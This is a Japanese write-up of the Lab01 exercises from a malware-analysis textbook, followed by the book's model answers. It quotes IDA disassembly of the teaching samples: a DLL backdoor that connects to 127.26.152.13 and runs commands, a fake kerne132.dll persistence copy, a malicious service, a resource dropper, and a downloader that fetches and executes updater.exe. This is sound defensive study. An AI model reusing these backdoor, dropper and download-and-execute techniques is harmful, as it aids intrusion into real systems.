Practical Malware Analysis (by Michael Sikorski and Andrew Honig) Lab01のWriteUp。
まずは自分の解答 を載せて、最後に模範解答を載せる。不正解の解答も戒めとしてそのまま載せる事とする。
ラボはこちらからダウンロード可能。
Lab 1-1
解析対象のファイルは以下の通り。
ファイル名 | ファイルの種類 | MD5ハッシュ値 |
Lab01-01.exe | 32ビット EXE | BB7425B82141A1C0F7D60E5106676BB1 |
Lab01-01.dll | 32ビット DLL | 290934C61DE9176AD682FFDD65F0A669 |
1. Upload the files to http://www.VirusTotal.com/ and view the reports. Does either file match any existing antivirus signatures?
Lab01-01.exe
とLab01-01.dll
共に複数のベンダーでTrojanあるいはMaliciousあるいはMalwareと検知された。マルウェアの種類は現時点では不明。
2. When were these files compiled?
PEviewでIMAGE_FILE_HEADERの値を確認した。結果は以下の通り。Lab01-01.exe
のコンパイル日時は2010/12/19 Sun 16:16:19 UTCLab01-01.dll
のコンパイル日時は2010/12/19 Sun 16:16:38 UTC
3. Are there any indications that either of these files is packed or obfuscated? If so, what are these indicators?
CFF ExplorerやDetect It Easyでファイルのヘッダーやセクションを確認したりstringsを走らせてみた。特にパッキングや難読化の兆候は見受けられなかった。
4. Do any imports hint at what this malware does? If so, which imports are they?
Lab01-01.exe
にはCreateFileA、CopyFileA、FindFirstFileA、FindNextFileAなどのファイル操作に関連する関数がインポートされていた。よってLab01-01.exe
は何らかのファイル操作を行うと考えられる。Lab01-01.dll
にはCreateProcessA、OpenMutexA、CreateMutexAがインポートされていた。またWS2_32.dllからもいくつか関数をインポートしていた。WS2_32.dllはネットワーク通信関連のDLLである。CFF Explorerで確認したところ、WS2_32.dllからインポートされている関数はOrdinalとなっており具体的な関数名はわからなかった。IDAでLab01-01.dll
をロードしたところ、socket、closesocket、WSAStartup、WSACleanup、connect、send、recvなどの関数をインポートしているのが確認できた。よってLab01-01.dll
は何らかのネットワーク通信を行い、またプロセスやミューテックスを作成することが分かった。
5. Are there any other files or host-based indicators that you could look for on infected systems?
Lab01-01.exe
にstringsを走らせたところ、C:\windows\system32\kerne132.dll
、kerne132.dll
およびLab01-01.dll
のファイル名が確認できた。C:\windows\system32\kerne132.dll
とkerne132.dll
のファイル名はkernel32.dllを装っており、特に不審と言える。(kerne132.dll、小文字のlではなく数字の1になっている)Lab01-01.dll
はSADFHUHF
という名前のミューテックスを作成・参照している。ミューテックスは原則、一意の名前がつけられるためHBIとして有効。
.text:10001067 68 38 60 02 10 push offset Name ; "SADFHUHF"
.text:1000106C 50 push eax ; bInitialOwner
.text:1000106D 50 push eax ; lpMutexAttributes
.text:1000106E FF 15 08 20 00 10 call ds:CreateMutexA
.text:10001074 8D 4C 24 78 lea ecx, [esp+1208h+WSAData]
.text:10001078 51 push ecx ; lpWSAData
.text:10001079 68 02 02 00 00 push 202h ; wVersionRequested
.text:1000107E FF 15 34 20 00 10 call ds:WSAStartup
.text:10001084 85 C0 test eax, eax
.text:10001086 0F 85 5C 01 00 00 jnz loc_100011E8
6. What network-based indicators could be used to find this malware on infected machines?
Lab01-01.dll
にstringsを走らせたところ、127.26.152.13
というIPアドレスが確認できた。IDAで手早く確認したところ、TCPポート番号80を介して127.26.152.13
と通信を行う模様。
.text:1000108C 6A 06 push 6 ; protocol
.text:1000108E 6A 01 push 1 ; type
.text:10001090 6A 02 push 2 ; af
.text:10001092 FF 15 30 20 00 10 call ds:socket
.text:10001098 8B F0 mov esi, eax
.text:1000109A 83 FE FF cmp esi, 0FFFFFFFFh
.text:1000109D 0F 84 3F 01 00 00 jz loc_100011E2
---
.text:100010A3 68 28 60 02 10 push offset cp ; "127.26.152.13"
.text:100010A8 66 C7 44 24 18 02 00 mov [esp+120Ch+name.sa_family], 2
.text:100010AF FF 15 38 20 00 10 call ds:inet_addr
.text:100010B5 6A 50 push 50h ; hostshort
.text:100010B7 89 44 24 1C mov dword ptr [esp+120Ch+name.sa_data+2], eax
.text:100010BB FF 15 54 20 00 10 call ds:htons
.text:100010C1 8D 54 24 14 lea edx, [esp+1208h+name]
.text:100010C5 6A 10 push 10h ; namelen
.text:100010C7 52 push edx ; name
.text:100010C8 56 push esi ; s
.text:100010C9 66 89 44 24 22 mov word ptr [esp+1214h+name.sa_data], ax
.text:100010CE FF 15 3C 20 00 10 call ds:connect
.text:100010D4 83 F8 FF cmp eax, 0FFFFFFFFh
.text:100010D7 0F 84 FE 00 00 00 jz loc_100011DB
7. What would you guess is the purpose of these files?
Lab01-01.exe
はLab01-01.dll
をC:\windows\system32\kerne132.dll
としてコピーする。またFindFirstFileA、FindNextFileAを呼び出してCドライブ上のディレクトリやファイルを列挙する。
.text:004017D4 loc_4017D4:
.text:004017D4 8B 4C 24 4C mov ecx, [esp+54h+hObject]
.text:004017D8 8B 35 00 20 40 00 mov esi, ds:CloseHandle
.text:004017DE 51 push ecx ; hObject
.text:004017DF FF D6 call esi ; CloseHandle
.text:004017E1 8B 54 24 50 mov edx, [esp+54h+var_4]
.text:004017E5 52 push edx ; hObject
.text:004017E6 FF D6 call esi ; CloseHandle
.text:004017E8 6A 00 push 0 ; bFailIfExists
.text:004017EA 68 4C 30 40 00 push offset NewFileName ; "C:\\windows\\system32\\kerne132.dll"
.text:004017EF 68 7C 30 40 00 push offset ExistingFileName ; "Lab01-01.dll"
.text:004017F4 FF 15 24 20 40 00 call ds:CopyFileA
.text:004017FA 85 C0 test eax, eax
.text:004017FC 6A 00 push 0 ; int
.text:004017FE 75 06 jnz short loc_401806
---
.text:00401806 loc_401806:
.text:00401806 68 44 30 40 00 push offset aC ; "C:\\*"
.text:0040180B E8 D0 F9 FF FF call FindFile_4011E0
.text:00401810 83 C4 08 add esp, 8
Lab01-01.dll
はTCPポート番号80を介してIPアドレス127.26.152.13
と通信を行う。127.26.152.13
からのレスポンス・データの中にsleep
という文字が含まれていた場合、60秒間スリープする。127.26.152.13
からのレスポンス・データの中にexec
という文字が含まれていた場合、任意のコマンドを実行する。127.26.152.13
からのレスポンス・データの中にq
という文字が含まれていた場合、ソケットを閉じてネットワーク通信を終了する。そのほかにSADFHUHF
という名前のミューテックスを作成・参照する。
.text:10001122 6A 00 push 0 ; flags
.text:10001124 8D 84 24 0C 02 00 00 lea eax, [esp+120Ch+buf]
.text:1000112B 68 00 10 00 00 push 1000h ; len
.text:10001130 50 push eax ; buf
.text:10001131 56 push esi ; s
.text:10001132 FF 15 48 20 00 10 call ds:recv
.text:10001138 85 C0 test eax, eax
.text:1000113A 7E AD jle short loc_100010E9
---
.text:1000113C 8D 8C 24 08 02 00 00 lea ecx, [esp+1208h+buf]
.text:10001143 6A 05 push 5 ; MaxCount
.text:10001145 51 push ecx ; Str2
.text:10001146 68 18 60 02 10 push offset Str1 ; "sleep"
.text:1000114B FF D5 call ebp ; strncmp
.text:1000114D 83 C4 0C add esp, 0Ch
.text:10001150 85 C0 test eax, eax
.text:10001152 75 0D jnz short loc_10001161
---
.text:10001154 68 00 00 06 00 push 60000h ; dwMilliseconds
.text:10001159 FF 15 00 20 00 10 call ds:Sleep
.text:1000115F EB 88 jmp short loc_100010E9
.text:10001161 loc_10001161:
.text:10001161 8D 94 24 08 02 00 00 lea edx, [esp+1208h+buf]
.text:10001168 6A 04 push 4 ; MaxCount
.text:1000116A 52 push edx ; Str2
.text:1000116B 68 10 60 02 10 push offset aExec ; "exec"
.text:10001170 FF D5 call ebp ; strncmp
.text:10001172 83 C4 0C add esp, 0Ch
.text:10001175 85 C0 test eax, eax
.text:10001177 75 3D jnz short loc_100011B6
---
.text:10001179 B9 11 00 00 00 mov ecx, 11h
.text:1000117E 8D 7C 24 34 lea edi, [esp+1208h+StartupInfo]
.text:10001182 F3 AB rep stosd
.text:10001184 8D 44 24 24 lea eax, [esp+1208h+ProcessInformation]
.text:10001188 8D 4C 24 34 lea ecx, [esp+1208h+StartupInfo]
.text:1000118C 50 push eax ; lpProcessInformation
.text:1000118D 51 push ecx ; lpStartupInfo
.text:1000118E 6A 00 push 0 ; lpCurrentDirectory
.text:10001190 6A 00 push 0 ; lpEnvironment
.text:10001192 68 00 00 00 08 push 8000000h ; dwCreationFlags
.text:10001197 6A 01 push 1 ; bInheritHandles
.text:10001199 6A 00 push 0 ; lpThreadAttributes
.text:1000119B 8D 94 24 29 02 00 00 lea edx, [esp+1224h+CommandLine]
.text:100011A2 6A 00 push 0 ; lpProcessAttributes
.text:100011A4 52 push edx ; lpCommandLine
.text:100011A5 6A 00 push 0 ; lpApplicationName
.text:100011A7 C7 44 24 5C 44 00 00 00 mov [esp+1230h+StartupInfo.cb], 44h
.text:100011AF FF D3 call ebx ; CreateProcessA
.text:100011B1 E9 33 FF FF FF jmp loc_100010E9
.text:100011B6 loc_100011B6:
.text:100011B6 80 BC 24 08 02 00 00 71 cmp [esp+1208h+buf], 'q'
.text:100011BE 74 10 jz short loc_100011D0
---
.text:100011D0 8B 44 24 10 mov eax, [esp+1208h+hObject]
.text:100011D4 50 push eax ; hObject
.text:100011D5 FF 15 10 20 00 10 call ds:CloseHandle
---
.text:100011DB loc_100011DB: ; s
.text:100011DB 56 push esi
.text:100011DC FF 15 4C 20 00 10 call ds:closesocket
Lab 1-2
解析対象のファイルは以下の通り。
ファイル名 | ファイルの種類 | MD5ハッシュ値 |
Lab01-02.exe | 32ビット EXE | 8363436878404DA0AE3E46991E355B83 |
1. Upload the Lab01-02.exe file to http://www.VirusTotal.com/ . Does it match any existing antivirus definitions?
複数のベンダーでTrojanあるいはMaliciousあるいはMalwareと検知された。マルウェアの種類は現時点では不明。
2. Are there any indications that this file is packed or obfuscated? If so, what are these indicators? If the file is packed, unpack it if possible.
ファイルをCFF Explorerで確認したところ、UPX0、UPX1、UPX2というセクション名を発見。UPXパックされている模様。upx -d
でファイルをアンパックできた。アンパック後のファイルのMD5ハッシュ値はAE4CA70697DF5506BC610172CFC288E7。
3. Do any imports hint at this program's functionality? If so, which imports are they and what do they tell you?
アンパック後のファイルで特に目を引いたインポート関数は以下の通り。
- CreateServiceA
- InternetOpenUrlA
- InternetOpenA
Windowsサービスを作成し、ネットワーク通信を行うものと推測できる。
4. What host- or network-based indicators could be used to identify this malware on infected machines?
strings及びIDAでアンパック後のファイルを眺めてみた。
HBI
HGL345
という名前のミューテックスを作成、参照するMalservice
という名前のWindowsサービスを作成する
.text:00401065 68 28 30 40 00 push offset Name ; "HGL345"
.text:0040106A 6A 00 push 0 ; bInitialOwner
.text:0040106C 6A 00 push 0 ; lpMutexAttributes
.text:0040106E FF 15 2C 20 40 00 call ds:CreateMutexA
---
.text:0040109C 8D 4C 24 2C lea ecx, [esp+414h+Filename]
.text:004010A0 6A 00 push 0 ; lpLoadOrderGroup
.text:004010A2 51 push ecx ; lpBinaryPathName
.text:004010A3 6A 00 push 0 ; dwErrorControl
.text:004010A5 6A 02 push 2 ; dwStartType
.text:004010A7 6A 10 push 10h ; dwServiceType
.text:004010A9 6A 02 push 2 ; dwDesiredAccess
.text:004010AB 68 1C 30 40 00 push offset DisplayName ; "Malservice"
.text:004010B0 68 1C 30 40 00 push offset DisplayName ; "Malservice"
.text:004010B5 56 push esi ; hSCManager
.text:004010B6 FF 15 00 20 40 00 call ds:CreateServiceA
NBI
http://www.malwareanalysisbook[.]com
というURLと通信を行う。通信の際に用いられるユーザーエージェント名はInternet Explorer 8.0
.text:00401152 6A 00 push 0 ; dwFlags
.text:00401154 6A 00 push 0 ; lpszProxyBypass
.text:00401156 6A 00 push 0 ; lpszProxy
.text:00401158 6A 01 push 1 ; dwAccessType
.text:0040115A 68 54 30 40 00 push offset szAgent ; "Internet Explorer 8.0"
.text:0040115F FF 15 74 20 40 00 call ds:InternetOpenA
.text:00401165 8B 3D 70 20 40 00 mov edi, ds:InternetOpenUrlA
.text:0040116B 8B F0 mov esi, eax
---
.text:0040116D 6A 00 push 0
.text:0040116F 68 00 00 00 80 push 80000000h ; dwFlags
.text:00401174 6A 00 push 0 ; dwHeadersLength
.text:00401176 6A 00 push 0 ; lpszHeaders
.text:00401178 68 30 30 40 00 push offset szUrl ; "http://www.malwareanalysisbook.com"
.text:0040117D 56 push esi ; hInternet
.text:0040117E FF D7 call edi ; InternetOpenUrlA
Lab 1-3
解析対象のファイルは以下の通り。
ファイル名 | ファイルの種類 | MD5ハッシュ値 |
Lab01-03.exe | 32ビット EXE | 9C5C27494C28ED0B14853B346B113145 |
1. Upload the Lab-01-03.exe file to http://www.VirusTotal.com/. Does it match any existing antivirus definitions?
複数のベンダーでTrojanあるいはMaliciousあるいはMalwareあるいはSpywareと検知された。マルウェアの種類は現時点では不明。
2. Are there any indications that this file is packed or obfuscated? If so, what are these indicators? If the file is packed, unpack it if possible.
ファイルのヘッダー情報よりFSG v1.00 (Eng) -> dulek/xtというファイル情報が確認できた。セクション情報を確認するとVirtual Sizeが非ゼロであるのに対してRaw Sizeがゼロであった。またインポートされている関数もLoadLibraryAとGetProcAddressの2つのみ。これらはファイルがパッキングされている兆候であると考えられる。OllyDbgのプラグイン"Find OEP by Section Hop"でOEPに飛んだ後、"Dump debugged process"でファイルをアンパックできた。アンパック後のMD5ハッシュ値は54A1A761E8FF5243A4EB1CD967CAE167。
3. Do any imports hint at this program's functionality? If so, which imports are they and what do they tell you?
アンパック後のファイルには複数のCの標準ライブラリ関数がインポートされていた。__getmainargs関数より、ファイルはコマンドライン引数を受け取ると推測できる。またole32.dllよりOleInitialize、CoCreateInstance、OleUninitializeの3つの関数をインポートしていた。これらの関数より、ファイルはCOMオブジェクトを作成すると考えられる。
4. What host- or network-based indicators could be used to identify this malware on infected machines?
HBI
- CLSID 2DF01-0000-C06046およびIID D30C1661-CDAF-11D0-8A3E-00C04FC9E26E (IDAがイマイチ値をきれいにパースできなかったので、正しい値ではないかも)
seg000:00401013 50 push eax ; ppv
seg000:00401014 68 68 20 40 00 push offset riid ; riid
seg000:00401019 6A 04 push 4 ; dwClsContext
seg000:0040101B 6A 00 push 0 ; pUnkOuter
seg000:0040101D 68 58 20 40 00 push offset rclsid ; rclsid
seg000:00401022 FF 15 4C 20 40 00 call CoCreateInstance
NBI
http://www.malwareanalysisbook[.]com/ad.html
というURLが確認できた。
seg000:00401030 8D 4C 24 04 lea ecx, [esp+24h+var_20]
seg000:00401034 56 push esi
seg000:00401035 51 push ecx
seg000:00401036 FF 15 38 20 40 00 call dword ptr byte_402034+4
seg000:0040103C 68 10 30 40 00 push offset aHttpWwwMalware ; "http://www.malwareanalysisbook.com/ad.h"...
seg000:00401041 66 C7 44 24 1C 03 00 mov [esp+2Ch+var_10], 3
seg000:00401048 C7 44 24 24 01 00 00 00 mov [esp+2Ch+var_8], 1
seg000:00401050 FF 15 3C 20 40 00 call dword ptr byte_402034+8
Lab 1-4
解析対象のファイルは以下の通り。
ファイル名 | ファイルの種類 | MD5ハッシュ値 |
Lab01-04exe | 32ビット EXE | 625AC05FD47ADC3C63700C3B30DE79AB |
1. Upload the Lab01-04.exe file to http://www.VirusTotal.com/. Does it match any existing antivirus definitions?
複数のベンダーでTrojanあるいはMaliciousあるいはMalwareあるいはDownloaderと検知された。マルウェアの種類は現時点では不明。
2. Are there any indicators that this file is packed or obfuscated? If so, what these indicators? If the file is packed, unpack it if possible.
パッキングや難読化は施されていなかったがリソースセクションにEXEファイルが埋め込まれていた。
3. When was this program compiled?
PEviewでIMAGE_FILE_HEADERの値を確認した結果、コンパイル日時は2019/08/30 Fri 22:26:59 UTCと判明した。
4. Do any imports hint at this program's functionality? If so, which imports are they and what do they tell you?
特に目を引いたインポート関数は以下の通り。
- WinExec
- WriteFile
- CreateFileA
- FindResourceA
- LoadResource
- CreateRemoteThread
WinExecより任意のアプリケーションを実行できるものと推測できる。WriteFile / CreateFileAよりファイルの書き込み・作成を行うものと推測できる。FindResourceA / LoadResourceよりリソースセクションからペイロードを抽出するものと推測できる。CreateRemoteThreadよりリモートのプロセスに対して何らかのインジェクションを行うものと推測できる。
5. What host- or network-based indicators could be used to identify this malware on infected machines?
HBI
- ファイル名
winup.exe
: 正規の\system32\wupdmgr.exe
をwinup.exe
にリネームしてバックアップする模様。 - リソース名
101
:101
という名前のリソースを抽出する模様 - ファイル名
\system32\wupdmgr.exe
: リソースセクション (101
) からEXEファイルを抽出し、\system32\wupdmgr.exe
として保存する模様。 - IDAでは表示されなかったがファイルにstringsを走らせたところ、
\system32\wupdmgrd.exe
というファイル名が確認できた。おそらく、このファイル名はリソースセクションのEXEファイルにハードコードされているものと思われる。リソースセクションのEXEの解析は次項を参照。
.text:00401506 68 0E 01 00 00 push 10Eh ; uSize
.text:0040150B 8D 95 DC FD FF FF lea edx, [ebp+Buffer]
.text:00401511 52 push edx ; lpBuffer
.text:00401512 FF 15 34 20 40 00 call ds:GetWindowsDirectoryA
.text:00401518 68 D4 30 40 00 push offset aSystem32Wupdmg_0 ; "\\system32\\wupdmgr.exe"
.text:0040151D 8D 85 DC FD FF FF lea eax, [ebp+Buffer]
.text:00401523 50 push eax
.text:00401524 68 EC 30 40 00 push offset aSS_0 ; "%s%s"
.text:00401529 68 0E 01 00 00 push 10Eh ; Count
.text:0040152E 8D 8D A8 EB FF FF lea ecx, [ebp+Dest]
.text:00401534 51 push ecx ; Dest
.text:00401535 FF 15 54 20 40 00 call ds:_snprintf
.text:0040153B 83 C4 14 add esp, 14h
.text:0040153E 8D 95 F0 FE FF FF lea edx, [ebp+var_110]
.text:00401544 52 push edx ; lpBuffer
.text:00401545 68 0E 01 00 00 push 10Eh ; nBufferLength
.text:0040154A FF 15 3C 20 40 00 call ds:GetTempPathA
.text:00401550 68 F4 30 40 00 push offset aWinupExe ; "\\winup.exe"
.text:00401555 8D 85 F0 FE FF FF lea eax, [ebp+var_110]
.text:0040155B 50 push eax
.text:0040155C 68 00 31 40 00 push offset aSS_1 ; "%s%s"
.text:00401561 68 0E 01 00 00 push 10Eh ; Count
.text:00401566 8D 8D B8 EC FF FF lea ecx, [ebp+NewFileName]
.text:0040156C 51 push ecx ; Dest
.text:0040156D FF 15 54 20 40 00 call ds:_snprintf
.text:00401573 83 C4 14 add esp, 14h
.text:00401576 8D 95 B8 EC FF FF lea edx, [ebp+NewFileName]
.text:0040157C 52 push edx ; lpNewFileName "winup.exe"
.text:0040157D 8D 85 A8 EB FF FF lea eax, [ebp+Dest]
.text:00401583 50 push eax ; lpExistingFileName "\\system32\\wupdmgr.exe"
.text:00401584 FF 15 38 20 40 00 call ds:MoveFileA
.text:0040158A E8 6D FC FF FF call Create_Mal_wupdmgr_4011FC ; "extract EXE from resource section and save as wupdmgr.exe"
.text:0040126C 8D 85 E4 FE FF FF lea eax, [ebp+Buffer]
.text:00401272 50 push eax ; lpBuffer
.text:00401273 FF 15 34 20 40 00 call ds:GetWindowsDirectoryA
.text:00401279 68 4C 30 40 00 push offset aSystem32Wupdmg ; "\\system32\\wupdmgr.exe"
.text:0040127E 8D 8D E4 FE FF FF lea ecx, [ebp+Buffer]
.text:00401284 51 push ecx
.text:00401285 68 64 30 40 00 push offset Format ; "%s%s"
.text:0040128A 68 0E 01 00 00 push 10Eh ; Count
.text:0040128F 8D 95 CC FD FF FF lea edx, [ebp+Dest]
.text:00401295 52 push edx ; Dest
.text:00401296 FF 15 54 20 40 00 call ds:_snprintf
.text:0040129C 83 C4 14 add esp, 14h
.text:0040129F 6A 00 push 0 ; lpModuleName
.text:004012A1 FF 15 30 20 40 00 call ds:GetModuleHandleA
.text:004012A7 89 45 F4 mov [ebp+hModule], eax
.text:004012AA 68 6C 30 40 00 push offset Type ; "BIN"
.text:004012AF 68 70 30 40 00 push offset Name ; "#101"
.text:004012B4 8B 45 F4 mov eax, [ebp+hModule]
.text:004012B7 50 push eax ; hModule
.text:004012B8 FF 15 2C 20 40 00 call ds:FindResourceA
.text:004012BE 89 85 DC FE FF FF mov [ebp+hResInfo], eax
.text:004012C4 8B 8D DC FE FF FF mov ecx, [ebp+hResInfo]
.text:004012CA 51 push ecx ; hResInfo
.text:004012CB 8B 55 F4 mov edx, [ebp+hModule]
.text:004012CE 52 push edx ; hModule
.text:004012CF FF 15 4C 20 40 00 call ds:LoadResource
.text:004012D5 89 45 F8 mov [ebp+lpBuffer], eax
.text:004012D8 8B 85 DC FE FF FF mov eax, [ebp+hResInfo]
.text:004012DE 50 push eax ; hResInfo
.text:004012DF 8B 4D F4 mov ecx, [ebp+hModule]
.text:004012E2 51 push ecx ; hModule
.text:004012E3 FF 15 24 20 40 00 call ds:SizeofResource
.text:004012E9 89 85 E0 FE FF FF mov [ebp+nNumberOfBytesToWrite], eax
.text:004012EF 6A 00 push 0 ; hTemplateFile
.text:004012F1 6A 00 push 0 ; dwFlagsAndAttributes
.text:004012F3 6A 02 push 2 ; dwCreationDisposition
.text:004012F5 6A 00 push 0 ; lpSecurityAttributes
.text:004012F7 6A 01 push 1 ; dwShareMode
.text:004012F9 68 00 00 00 40 push 40000000h ; dwDesiredAccess
.text:004012FE 8D 95 CC FD FF FF lea edx, [ebp+Dest] ; "\\system32\\wupdmgr.exe"
.text:00401304 52 push edx ; lpFileName
.text:00401305 FF 15 20 20 40 00 call ds:CreateFileA
.text:0040130B 89 85 C8 FD FF FF mov [ebp+hFile], eax
.text:00401311 6A 00 push 0 ; lpOverlapped
.text:00401313 8D 45 FC lea eax, [ebp+NumberOfBytesWritten]
.text:00401316 50 push eax ; lpNumberOfBytesWritten
.text:00401317 8B 8D E0 FE FF FF mov ecx, [ebp+nNumberOfBytesToWrite]
.text:0040131D 51 push ecx ; nNumberOfBytesToWrite
.text:0040131E 8B 55 F8 mov edx, [ebp+lpBuffer]
.text:00401321 52 push edx ; lpBuffer
.text:00401322 8B 85 C8 FD FF FF mov eax, [ebp+hFile]
.text:00401328 50 push eax ; hFile
.text:00401329 FF 15 1C 20 40 00 call ds:WriteFile
NBI
- IDAでは表示されなかったが、ファイルにstringsを走らせたところ、URLDownloadToFileAとともに
http://www.practicalmalwareanalysis[.]com/updater.exe
というURLが確認できた。おそらく、このURLはリソースセクションのEXEファイルにハードコードされているものと思われる。リソースセクションのEXEの解析は次項を参照。
6. This file has one resource in the resource section. Use Resource Hacker to examine that resource, and then use it to extract the resource. What can you learn from the resource?
CFF Explorerでリソースセクションに埋め込まれているEXEファイルを抽出した。抽出したファイルのMD5ハッシュ値は6A95C2F88E0C09A91D69FFB98BC6FCE8。IDAで手早くファイルを眺めてみたところ、WinExecでwinup.exe
を実行し、さらにURL http://www.practicalmalwareanalysis[.]com/updater.exe
からファイルをダウンロードして\system32\wupdmgrd.exe
として保存する模様。
.text:00401082 68 10 30 40 00 push offset aWinupExe ; "\\winup.exe"
.text:00401087 8D 8D E0 FD FF FF lea ecx, [ebp+Buffer]
.text:0040108D 51 push ecx
.text:0040108E 68 1C 30 40 00 push offset Format ; "%s%s"
.text:00401093 68 0E 01 00 00 push 10Eh ; Count
.text:00401098 8D 95 F0 FE FF FF lea edx, [ebp+Dest]
.text:0040109E 52 push edx ; Dest
.text:0040109F FF 15 14 20 40 00 call ds:_snprintf
.text:004010A5 83 C4 14 add esp, 14h
.text:004010A8 6A 05 push 5 ; uCmdShow
.text:004010AA 8D 85 F0 FE FF FF lea eax, [ebp+Dest]
.text:004010B0 50 push eax ; lpCmdLine "winup.exe"
.text:004010B1 FF 15 00 20 40 00 call ds:WinExec
.text:004010B7 68 0E 01 00 00 push 10Eh ; uSize
.text:004010BC 8D 8D D0 FC FF FF lea ecx, [ebp+var_330]
.text:004010C2 51 push ecx ; lpBuffer
.text:004010C3 FF 15 08 20 40 00 call ds:GetWindowsDirectoryA
.text:004010C9 68 24 30 40 00 push offset aSystem32Wupdmg ; "\\system32\\wupdmgrd.exe"
.text:004010CE 8D 95 D0 FC FF FF lea edx, [ebp+var_330]
.text:004010D4 52 push edx
.text:004010D5 68 3C 30 40 00 push offset aSS_0 ; "%s%s"
.text:004010DA 68 0E 01 00 00 push 10Eh ; Count
.text:004010DF 8D 85 C0 FB FF FF lea eax, [ebp+CmdLine]
.text:004010E5 50 push eax ; Dest
.text:004010E6 FF 15 14 20 40 00 call ds:_snprintf
.text:004010EC 83 C4 14 add esp, 14h
.text:004010EF 6A 00 push 0 ; LPBINDSTATUSCALLBACK
.text:004010F1 6A 00 push 0 ; DWORD
.text:004010F3 8D 8D C0 FB FF FF lea ecx, [ebp+CmdLine]
.text:004010F9 51 push ecx ; LPCSTR "\\system32\\wupdmgrd.exe"
.text:004010FA 68 44 30 40 00 push offset aHttpWwwPractic ; "http://www.practicalmalwareanalysis.com"...
.text:004010FF 6A 00 push 0 ; LPUNKNOWN
.text:00401101 E8 26 00 00 00 call URLDownloadToFileA
.text:00401106 89 85 BC FB FF FF mov [ebp+var_444], eax
.text:0040110C 83 BD BC FB FF FF 00 cmp [ebp+var_444], 0
.text:00401113 75 0F jnz short loc_401124
---
.text:00401115 6A 00 push 0 ; uCmdShow
.text:00401117 8D 95 C0 FB FF FF lea edx, [ebp+CmdLine]
.text:0040111D 52 push edx ; lpCmdLine "\\system32\\wupdmgrd.exe"
.text:0040111E FF 15 00 20 40 00 call ds:WinExec
模範解答
Lab 1-1
1. These files were written specifically for this book, so as of this writing, you should not find a signature for them on VirtsTotal.com. Of course, if these files become part of the antivirus signatures as a result of the publication of this book, the results will be different
2. Both files were compiled on December 19, 2010, within 1 minute of each other.
3. There are no indications that either file is packed or obfuscated.
4. The interesting imports from Lab01-01.exe are FindFirstFile, FindNextFile, and CopyFile. These imports tell us that the program searches the file system and copies files. The most interesting imports from Lab01-01.dll are CreateProcess and Sleep. We also see that this file imports functions from WS_32.dll, which provides network functionality.
5. Examine C:\Windows\System32\kerne132.dll for additional malicious activity. Note that the file kerne132.dll, with the number 1 instead of the letter l, is meant to look like the system file kernel32.dll. This file can be used as a host indicator to search for the malware.
6. The .dll file contains a reference to local IP address 127.26.152.13. This address is an artifact of this program having been created for educational and not malicious purpose. If this was real malware, the IP address should be routable, and it would be a good network-based indicator for use in identifying this malware.
7. The .dll is probably backdoor. The .exe file is used to install or run the DLL.
Lab 1-2
1. As of this writing, the file matches 3 of 41 antivirus signatures.
2. There are several indications that the program is packed with UPX. You can unpack it by downloading UPX and running upx -d
3. After unpacking the file, you'll see that the most interesting imports are CreateService, InternetOpen and InternetOpenURL.
4. You should check infected machines for a service called Malservice and for network traffic http://www.malwareanalysisbook[.]com/.
Lab 1-3
1. As of this writing, 25 of 43 virus engines identify this sample as malware.
2. The file is packed, but we can't unpack it at this time.
3. This question can't be answered without unpacking the file.
4. This question can't be answered without unpacking the file.
Lab 1-4
1. As of this writing, 16 of 43 antiviurs engines identify this as malicious code that downloads and / or drops additional malware onto a system.
2. There are no indications that the file is packed or obfuscated.
3. According to the file header, this program was compiled in August 2019. Clearly, the compile time is faked, and we can't determine when the file was compiled.
4. The imports from advapi32.dll indicate that the program is doing something with permissions. The imports WinExec and WriteFile, along with the results from VirusTotal.com, tell us that the program writes a file to disk and then executes it. There are also imports for reading information from the resource section of the file.
5. The string \system32\wupdmgr.exe indicates that this program could create or modify a file at that location. The string www.malwareanalysisbook[.]com/updater.exe probably indicates where additional malware is stored, ready for download.
6. The resource section contains another PE executable. Use Resource Hacker to save the resource as binary data, and then analyze the binary file as you would analyze any executable. The executable in the resource section is a downloader program that downloads additional malware.